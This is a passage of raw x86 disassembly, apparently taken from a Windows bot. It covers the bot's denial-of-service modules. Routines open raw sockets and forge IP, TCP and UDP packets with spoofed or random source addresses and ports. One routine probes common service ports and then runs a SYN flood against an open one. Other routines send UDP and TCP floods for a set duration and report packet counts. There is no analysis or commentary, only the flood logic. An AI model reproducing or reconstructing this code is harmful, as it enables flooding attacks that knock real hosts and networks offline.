[ebp+var_A0] push eax ; Dst call _memcpy lea eax, [ebp+var_18] push 14h ; Size push eax ; Src lea eax, [ebp+var_80] push eax ; Dst call _memcpy lea eax, [ebp+var_A0] push 34h push eax call sub_40AA5F mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy lea eax, [ebp+var_18] push 14h ; Size push eax ; Src lea eax, [ebp+var_8C] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_78] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AA5F mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+Dst] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_4CBA38 ; sendto cmp eax, 0FFFFFFFFh jz short loc_414DF6 inc [ebp+arg_0] jmp loc_414BB0 ; --------------------------------------------------------------------------- loc_414DF6: ; CODE XREF: sub_4149C1+42Bj push [ebp+var_4] call dword_4CBA6C ; closesocket call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset asc_437B7C ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_414E54 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409869 add esp, 14h loc_414E54: ; CODE XREF: sub_4149C1+46Ej lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_BC] call sub_40B6D6 pop ecx pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_414E74: ; CODE XREF: sub_4149C1+203j push [ebp+var_4] call dword_4CBA6C ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset asc_437B2C ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_414EE5 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409869 add esp, 14h loc_414EE5: ; CODE XREF: sub_4149C1+4FFj lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_BC] call sub_40B6D6 pop ecx pop ecx push ebx call ds:dword_4270D4 ; ExitThread sub_4149C1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F05 proc near ; CODE XREF: sub_41500F+19Ap ; sub_41500F+1A9p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov edx, [ebp+arg_0] push esi xor esi, esi cmp eax, 1 mov [ebp+arg_4], esi jle short loc_414F31 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414F23: ; CODE XREF: sub_414F05+26j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414F23 pop edi cmp eax, 1 loc_414F31: ; CODE XREF: sub_414F05+12j jnz short loc_414F3E mov al, [edx] mov byte ptr [ebp+arg_4], al movzx eax, word ptr [ebp+arg_4] add esi, eax loc_414F3E: ; CODE XREF: sub_414F05:loc_414F31j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn sub_414F05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F57 proc near ; DATA XREF: sub_401ACD+6C68o Dest = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h Str = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+Str] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4CBA14 ; inet_addr push eax lea esi, [ebp+var_194] sub esp, 194h push 65h pop ecx mov edi, esp rep movsd call sub_41500F add esp, 19Ch push eax lea eax, [ebp+Dest] push offset asc_437C58 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_414FF2 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_90] push eax ; Str push [ebp+var_194] ; int call sub_409869 add esp, 14h loc_414FF2: ; CODE XREF: sub_414F57+79j lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread sub_414F57 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41500F proc near ; CODE XREF: sub_414F57+54p Dest = byte ptr -0CCh var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_A3 = byte ptr -0A3h var_A2 = word ptr -0A2h Src = byte ptr -0A0h var_8C = byte ptr -8Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_68 = byte ptr -68h var_64 = byte ptr -64h var_63 = byte ptr -63h var_62 = byte ptr -62h var_58 = dword ptr -58h var_54 = byte ptr -54h var_52 = word ptr -52h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch Dst = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_194 = dword ptr 19Ch arg_198 = dword ptr 1A0h push ebp mov ebp, esp sub esp, 0CCh push ebx push esi mov esi, ds:dword_4270B0 xor ebx, ebx push edi mov [ebp+var_4], ebx call esi ; GetTickCount push 0FFh push 3 push 2 mov [ebp+var_10], eax call dword_4CBA54 ; socket mov [ebp+var_8], eax call esi ; GetTickCount push eax call sub_41C2B8 pop ecx mov edi, 578h push edi ; Size push 9 push 1 call sub_418BD1 pop ecx pop ecx push eax ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch mov esi, 5A0h loc_415069: ; CODE XREF: sub_41500F+235j call ds:dword_4270B0 ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_198] ja loc_415249 cmp dword_4CF180, ebx jnz short loc_4150E8 push 10h pop eax mov [ebp+var_14], eax push eax ; Size lea eax, [ebp+var_68] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_14] push eax lea eax, [ebp+var_68] push eax push [ebp+arg_0] call dword_4CB978 ; getsockname push 0FFh push 1 call sub_418BD1 pop ecx pop ecx push eax movzx eax, [ebp+var_62] push eax movzx eax, [ebp+var_63] push eax movzx eax, [ebp+var_64] push eax lea eax, [ebp+Dest] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax ; Dest call _sprintf add esp, 18h jmp short loc_4150FB ; --------------------------------------------------------------------------- loc_4150E8: ; CODE XREF: sub_41500F+7Ej lea eax, [ebp+Dest] push offset byte_4CEB60 ; Source push eax ; Dest call _strcpy pop ecx pop ecx loc_4150FB: ; CODE XREF: sub_41500F+D7j lea eax, [ebp+Dest] push eax call dword_4CBA14 ; inet_addr mov [ebp+var_C], eax mov eax, [ebp+var_58] and al, 45h push esi or al, 45h mov [ebp+var_54], 10h mov [ebp+var_58], eax call dword_4CB9D4 ; htons mov [ebp+var_52], ax call _rand mov [ebp+var_50], ax mov eax, [ebp+var_C] mov [ebp+var_48], eax mov eax, [ebp+arg_194] mov [ebp+var_4E], 40h mov [ebp+var_4C], 40h mov [ebp+var_4B], 6 mov [ebp+var_4A], bx mov [ebp+var_44], eax call _rand mov [ebp+var_40], ax call _rand mov [ebp+var_3E], ax call _rand mov [ebp+var_3C], eax call _rand mov [ebp+var_38], eax mov eax, [ebp+var_34] and ax, 0FF50h push 14h or al, 50h mov byte ptr [ebp+var_34+2], 18h mov word ptr [ebp+var_34], ax mov ax, [ebp+var_3E] mov [ebp+var_76], ax mov eax, [ebp+var_44] mov [ebp+var_74], eax lea eax, [ebp+var_58] push eax mov [ebp+var_30], 787Dh mov [ebp+var_2E], bx mov [ebp+var_2C], bx mov [ebp+var_78], 2 call sub_414F05 mov [ebp+var_4A], ax lea eax, [ebp+var_58] push 28h push eax call sub_414F05 mov eax, [ebp+var_48] add esp, 10h mov [ebp+var_AC], eax mov eax, [ebp+var_44] push 58Ch mov [ebp+var_A8], eax mov [ebp+var_A4], bl mov [ebp+var_A3], 6 call ds:dword_4271F4 ; htons mov [ebp+var_A2], ax lea eax, [ebp+Src] push 14h ; Size push eax ; Src lea eax, [ebp+var_40] push eax ; Dst call _memcpy lea eax, [ebp+var_8C] push edi ; Size push eax ; Src lea eax, [ebp+Dst] push eax ; Dst call _memcpy lea eax, [ebp+var_AC] push 598h push eax call sub_414F05 add esp, 20h mov [ebp+var_2E], ax push 10h lea eax, [ebp+var_78] push eax push ebx lea eax, [ebp+var_58] push esi push eax push [ebp+var_8] call dword_4CBA38 ; sendto inc [ebp+var_4] jmp loc_415069 ; --------------------------------------------------------------------------- loc_415249: ; CODE XREF: sub_41500F+72j push [ebp+var_8] call dword_4CBA6C ; closesocket mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41500F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41525A proc near ; DATA XREF: sub_401ACD+4B97o Dest = byte ptr -414h var_214 = byte ptr -214h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov edx, [ebp+arg_0] push esi mov eax, 85h push edi mov ecx, eax mov esi, edx lea edi, [ebp+var_214] sub esp, 214h rep movsd mov ecx, eax lea esi, [ebp+var_214] mov edi, esp mov dword ptr [edx+210h], 1 rep movsd call sub_4152D1 add esp, 214h push eax lea eax, [ebp+Dest] push offset asc_437C8C ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 add esp, 14h push 0 call ds:dword_4270D4 ; ExitThread sub_41525A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4152D1(int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_4152D1 proc near ; CODE XREF: sub_41525A+3Bp Dest = byte ptr -254h var_54 = byte ptr -54h Dst = byte ptr -34h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_84 = byte ptr 8Ch Str = byte ptr 10Ch arg_184 = byte ptr 18Ch arg_208 = dword ptr 210h arg_20C = dword ptr 214h push ebp mov ebp, esp sub esp, 254h push ebx push esi mov ebx, 0FFh push edi push ebx push 3 push 2 call dword_4CBA54 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_41530F lea eax, [ebp+Dest] push offset asc_437E7C ; "-" push eax ; Dest call _sprintf pop ecx xor edi, edi pop ecx jmp loc_4155D8 ; --------------------------------------------------------------------------- loc_41530F: ; CODE XREF: sub_4152D1+22j lea ecx, [ebp+var_14] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_14], 1 call dword_4CB9B4 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_41533B call dword_4CB968 ; WSAGetLastError push eax push offset unk_437E2C jmp short loc_415356 ; --------------------------------------------------------------------------- loc_41533B: ; CODE XREF: sub_4152D1+5Aj lea eax, [ebp+arg_4] push eax call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_41536A call dword_4CB968 ; WSAGetLastError push eax push offset asc_437DE8 ; "-" loc_415356: ; CODE XREF: sub_4152D1+68j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_4155D8 ; --------------------------------------------------------------------------- loc_41536A: ; CODE XREF: sub_4152D1+77j push edi mov [ebp+var_24], 2 call dword_4CB9D4 ; htons mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call ds:dword_4271F0 ; inet_addr mov esi, ds:dword_4270B0 mov [ebp+var_20], eax call esi ; GetTickCount mov [ebp+var_8], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+Dest] push offset asc_437DBC ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+arg_20C], edi jnz short loc_4153D3 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_208] ; int push eax ; int lea eax, [ebp+arg_184] push eax ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_4153D3: ; CODE XREF: sub_4152D1+E0j mov [ebp+var_4], edi call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov esi, eax lea eax, [ebp+Str] push eax ; Str call _atoi cmp esi, eax pop ecx ja loc_41558E mov esi, 41Ch jmp short loc_415407 ; --------------------------------------------------------------------------- loc_415402: ; CODE XREF: sub_4152D1+2B7j mov ebx, 0FFh loc_415407: ; CODE XREF: sub_4152D1+12Fj cmp dword_4CF180, edi jnz short loc_415461 push 10h pop eax mov [ebp+var_10], eax push eax ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call dword_4CB978 ; getsockname push ebx push 1 call sub_418BD1 pop ecx pop ecx push eax movzx eax, [ebp+var_2E] push eax movzx eax, [ebp+var_2F] push eax movzx eax, [ebp+var_30] push eax lea eax, [ebp+var_54] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax ; Dest call _sprintf add esp, 18h jmp short loc_415471 ; --------------------------------------------------------------------------- loc_415461: ; CODE XREF: sub_4152D1+13Cj lea eax, [ebp+var_54] push offset byte_4CEB60 ; Source push eax ; Dest call _strcpy pop ecx pop ecx loc_415471: ; CODE XREF: sub_4152D1+18Ej push esi mov byte_4CED60, 45h call dword_4CB9D4 ; htons mov word_4CED62, ax lea eax, [ebp+var_54] push eax mov word_4CED64, 1 mov word_4CED66, di mov byte_4CED68, 80h mov byte_4CED69, 11h mov word_4CED6A, di call dword_4CBA14 ; inet_addr mov dword_4CED6C, eax mov eax, [ebp+var_20] mov dword_4CED70, eax lea eax, [ebp+arg_84] push eax ; Str mov word_4CED7A, di call _atoi test eax, eax pop ecx jnz short loc_4154E9 call _rand cdq mov ecx, 401h idiv ecx push edx jmp short loc_4154F7 ; --------------------------------------------------------------------------- loc_4154E9: ; CODE XREF: sub_4152D1+206j lea eax, [ebp+arg_84] push eax ; Str call _atoi pop ecx push eax loc_4154F7: ; CODE XREF: sub_4152D1+216j call dword_4CB9D4 ; htons mov word_4CED76, ax call _rand cdq mov ecx, 401h push 408h idiv ecx mov word_4CED74, dx call dword_4CB9D4 ; htons push 400h ; Size mov word_4CED78, ax call _rand cdq idiv ebx push edx ; Val push offset dword_4CED7C ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_24] push 10h push eax push edi push esi push offset byte_4CED60 push [ebp+var_C] call dword_4CBA38 ; sendto cmp eax, 0FFFFFFFFh jz loc_415607 inc [ebp+var_4] call ds:dword_4270B0 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov ebx, eax lea eax, [ebp+Str] push eax ; Str call _atoi cmp ebx, eax pop ecx jbe loc_415402 loc_41558E: ; CODE XREF: sub_4152D1+124j push [ebp+var_C] call dword_4CBA6C ; closesocket mov esi, [ebp+var_4] lea eax, [ebp+Str] push eax ; Str imul esi, 41Ch call _atoi pop ecx xor edx, edx mov ecx, eax mov eax, esi shr eax, 0Ah div ecx shr esi, 14h push eax push esi push [ebp+var_4] lea eax, [ebp+arg_4] push eax push offset asc_437D58 ; "-" loc_4155C9: ; CODE XREF: sub_4152D1+34Aj lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 18h loc_4155D8: ; CODE XREF: sub_4152D1+39j ; sub_4152D1+94j cmp [ebp+arg_20C], edi jnz short loc_415600 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_208] ; int push eax ; int lea eax, [ebp+arg_184] push eax ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_415600: ; CODE XREF: sub_4152D1+30Dj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_415607: ; CODE XREF: sub_4152D1+28Bj push [ebp+var_4] push esi call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+arg_4] push eax push offset unk_437CCC jmp short loc_4155C9 sub_4152D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41561D proc near ; DATA XREF: sub_401ACD+6283o Dest = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h Str = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+Str] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_190] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_210] push eax call dword_4CBA14 ; inet_addr push eax call sub_4157BA add esp, 0Ch push eax lea eax, [ebp+Dest] push offset asc_437EA8 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4156B2 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_90] push eax ; Str push [ebp+var_214] ; int call sub_409869 add esp, 14h loc_4156B2: ; CODE XREF: sub_41561D+73j lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread pop edi pop esi sub_41561D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4156D1 proc near ; CODE XREF: sub_4157BA+194p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_4156FA push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4271F8 ; connect jmp loc_4157B6 ; --------------------------------------------------------------------------- loc_4156FA: ; CODE XREF: sub_4156D1+13j mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax push 8004667Eh push esi mov [ebp+var_8], edi call ds:dword_4271E0 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB97C ; connect push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call dword_4CB9BC ; select test eax, eax jnz short loc_41575E or eax, 0FFFFFFFFh jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_41575E: ; CODE XREF: sub_4156D1+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_415769 loc_415765: ; CODE XREF: sub_4156D1+B8j ; sub_4156D1+DCj mov eax, edi jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_415769: ; CODE XREF: sub_4156D1+92j lea eax, [ebp+var_10C] push eax push esi call sub_426350 ; __WSAFDIsSet test eax, eax jnz short loc_41578B lea eax, [ebp+var_210] push eax push esi call sub_426350 ; __WSAFDIsSet test eax, eax jz short loc_415765 loc_41578B: ; CODE XREF: sub_4156D1+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call ds:dword_4271C8 ; getsockopt cmp eax, edi jz short loc_415765 mov eax, [ebp+var_4] neg eax sbb eax, eax loc_4157B6: ; CODE XREF: sub_4156D1+24j ; sub_4156D1+8Bj ... pop edi pop esi leave retn sub_4156D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157BA proc near ; CODE XREF: sub_41561D+51p var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h var_9C = word ptr -9Ch var_9A = word ptr -9Ah var_98 = dword ptr -98h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi push 1 pop eax xor ebx, ebx push eax push ebx push ebx push 0FFh push 3 push 2 mov [ebp+var_14], eax call ds:dword_4271C4 ; WSASocketA lea ecx, [ebp+var_14] push 4 push ecx push 2 push ebx push eax mov dword_4CF1F0, eax call dword_4CB9B4 ; setsockopt mov esi, ds:dword_4270B0 call esi ; GetTickCount push eax call sub_41C2B8 pop ecx xor eax, eax push 19h lea edi, [ebp+var_100] pop ecx mov [ebp+var_10C], ebx mov [ebp+var_7C], ecx mov [ebp+var_108], ebx mov [ebp+var_104], ebx mov [ebp+var_8C], 401h mov [ebp+var_88], 15h mov [ebp+var_84], 16h mov [ebp+var_80], 17h mov [ebp+var_78], 35h mov [ebp+var_74], 50h mov [ebp+var_70], 51h mov [ebp+var_6C], 58h mov [ebp+var_68], 6Eh mov [ebp+var_64], 71h mov [ebp+var_60], 77h mov [ebp+var_5C], 87h mov [ebp+var_58], 89h mov [ebp+var_54], 8Bh mov [ebp+var_50], 8Fh mov [ebp+var_4C], 1BBh mov [ebp+var_48], 1BDh mov [ebp+var_44], 400h mov [ebp+var_40], 599h mov [ebp+var_3C], 5DCh mov [ebp+var_38], 6B8h mov [ebp+var_34], 0CEAh mov [ebp+var_30], 0D3Dh mov [ebp+var_2C], 1388h mov [ebp+var_28], 1A0Bh mov [ebp+var_24], 1F40h mov [ebp+var_20], 1F90h rep stosd mov [ebp+var_10], ebx mov [ebp+var_1C], 3 mov [ebp+var_18], 0BB8h mov [ebp+var_4], ebx loc_415900: ; CODE XREF: sub_4157BA+1C1j mov eax, [ebp+arg_0] mov [ebp+var_9C], 2 mov [ebp+var_98], eax mov eax, [ebp+var_4] lea edi, [ebp+eax+var_8C] mov ax, word ptr [ebp+eax+var_8C] push eax call dword_4CB9D4 ; htons push ebx push 1 push 2 mov [ebp+var_9A], ax call dword_4CBA54 ; socket lea ecx, [ebp+var_1C] mov [ebp+var_C], eax push ecx lea ecx, [ebp+var_9C] push 10h push ecx push eax call sub_4156D1 add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call dword_4CBA6C ; closesocket cmp [ebp+var_8], ebx jnz short loc_415973 mov ecx, [ebp+var_4] mov eax, [edi] mov [ebp+ecx+var_10C], eax loc_415973: ; CODE XREF: sub_4157BA+1ABj add [ebp+var_4], 4 cmp [ebp+var_4], 70h jl short loc_415900 mov edi, offset byte_4CF1F4 push offset asc_42CDC0 ; " " push edi ; Dest call _sprintf pop ecx pop ecx call esi ; GetTickCount mov [ebp+var_C], eax lea eax, [ebp+var_10C] mov [ebp+var_4], ebx mov [ebp+var_8], eax loc_4159A0: ; CODE XREF: sub_4157BA+23Cj call esi ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_4159F8 mov eax, [ebp+var_8] mov eax, [eax] cmp eax, ebx jz short loc_4159D1 push eax push edi push offset aSD ; "%s%d " push edi ; Dest mov [ebp+var_10], eax call _sprintf add esp, 10h jmp short loc_4159EB ; --------------------------------------------------------------------------- loc_4159D1: ; CODE XREF: sub_4157BA+200j push 0FFFFh push ebx call sub_418BD1 pop ecx pop ecx push eax call dword_4CB9D4 ; htons movzx eax, ax mov [ebp+var_10], eax loc_4159EB: ; CODE XREF: sub_4157BA+215j inc [ebp+var_4] add [ebp+var_8], 4 cmp [ebp+var_4], 1Ch jl short loc_4159A0 loc_4159F8: ; CODE XREF: sub_4157BA+1F7j ; sub_4157BA+477j push 28h ; Size push ebx ; Val push offset byte_4CF190 ; Dst call _memset mov esi, 0FFFFh mov byte_4CF190, 45h push esi push 400h mov byte_4CF199, 6 mov byte_4CF191, 8 call sub_418BD1 add esp, 14h push eax call dword_4CB9D4 ; htons push 28h mov word_4CF194, ax call dword_4CB9D4 ; htons or byte_4CF198, 0FFh cmp dword_4CF180, ebx mov word_4CF192, ax mov word_4CF196, bx jnz short loc_415A78 push 0FFFEh push 1 call sub_418BD1 pop ecx pop ecx mov ecx, [ebp+arg_0] shl eax, 10h and ecx, esi or eax, ecx jmp short loc_415A83 ; --------------------------------------------------------------------------- loc_415A78: ; CODE XREF: sub_4157BA+2A2j push offset byte_4CEB60 call dword_4CBA14 ; inet_addr loc_415A83: ; CODE XREF: sub_4157BA+2BCj mov dword_4CF19C, eax mov eax, [ebp+arg_0] push 4000h mov dword_4CF1A0, eax mov byte_4CF1B1, bl call dword_4CB9D4 ; htons push esi push ebx mov word_4CF1B2, ax call sub_418BD1 mov edi, eax push esi push ebx shl edi, 8 call sub_418BD1 add esp, 10h add edi, eax push edi call dword_4CB9D0 ; htonl mov dword_4CF1A8, eax mov al, byte_4CF1B0 mov edi, [ebp+arg_0] and al, 0Fh or al, 50h push 14h mov byte_4CF1B0, al mov ax, word ptr [ebp+var_10] mov dword_4CF1AC, ebx mov word_4CF1B6, bx mov word_4CF1A6, ax mov dword_4CF1CC, edi mov byte_4CF1D0, bl mov byte_4CF1D1, 6 call dword_4CB9D4 ; htons mov word_4CF1D2, ax mov ax, word_4CF1A6 mov word_4CF1B8, 2 mov dword_4CF1BC, edi mov word_4CF1BA, ax mov [ebp+var_4], ebx jmp short loc_415B39 ; --------------------------------------------------------------------------- loc_415B34: ; CODE XREF: sub_4157BA+451j mov esi, 0FFFFh loc_415B39: ; CODE XREF: sub_4157BA+378j cmp [ebp+var_4], ebx jnz short loc_415B6D push esi push ebx call sub_418BD1 pop ecx pop ecx push eax call dword_4CB9D4 ; htons mov word_4CF1A4, ax mov eax, dword_4CF19C mov dword_4CF1C8, eax mov byte_4CF1B1, 2 mov dword_4CF1AC, ebx jmp short loc_415B8C ; --------------------------------------------------------------------------- loc_415B6D: ; CODE XREF: sub_4157BA+382j push esi push ebx mov byte_4CF1B1, 10h call sub_418BD1 pop ecx pop ecx push eax call dword_4CB9D4 ; htons movzx eax, ax mov dword_4CF1AC, eax loc_415B8C: ; CODE XREF: sub_4157BA+3B1j inc word_4CF194 inc dword_4CF1A8 mov ax, word_4CF1A6 push 5 pop ecx mov esi, offset word_4CF1A4 mov edi, offset dword_4CF1D4 mov word_4CF19A, bx mov word_4CF1B4, bx push 14h rep movsd mov esi, offset byte_4CF190 mov word_4CF1BA, ax push esi call sub_40AA5F push 20h push offset dword_4CF1C8 mov word_4CF19A, ax call sub_40AA5F add esp, 10h mov word_4CF1B4, ax push 10h push offset word_4CF1B8 push ebx push 28h push esi push dword_4CF1F0 call dword_4CBA38 ; sendto inc [ebp+var_4] cmp [ebp+var_4], 3FFh jl loc_415B34 call 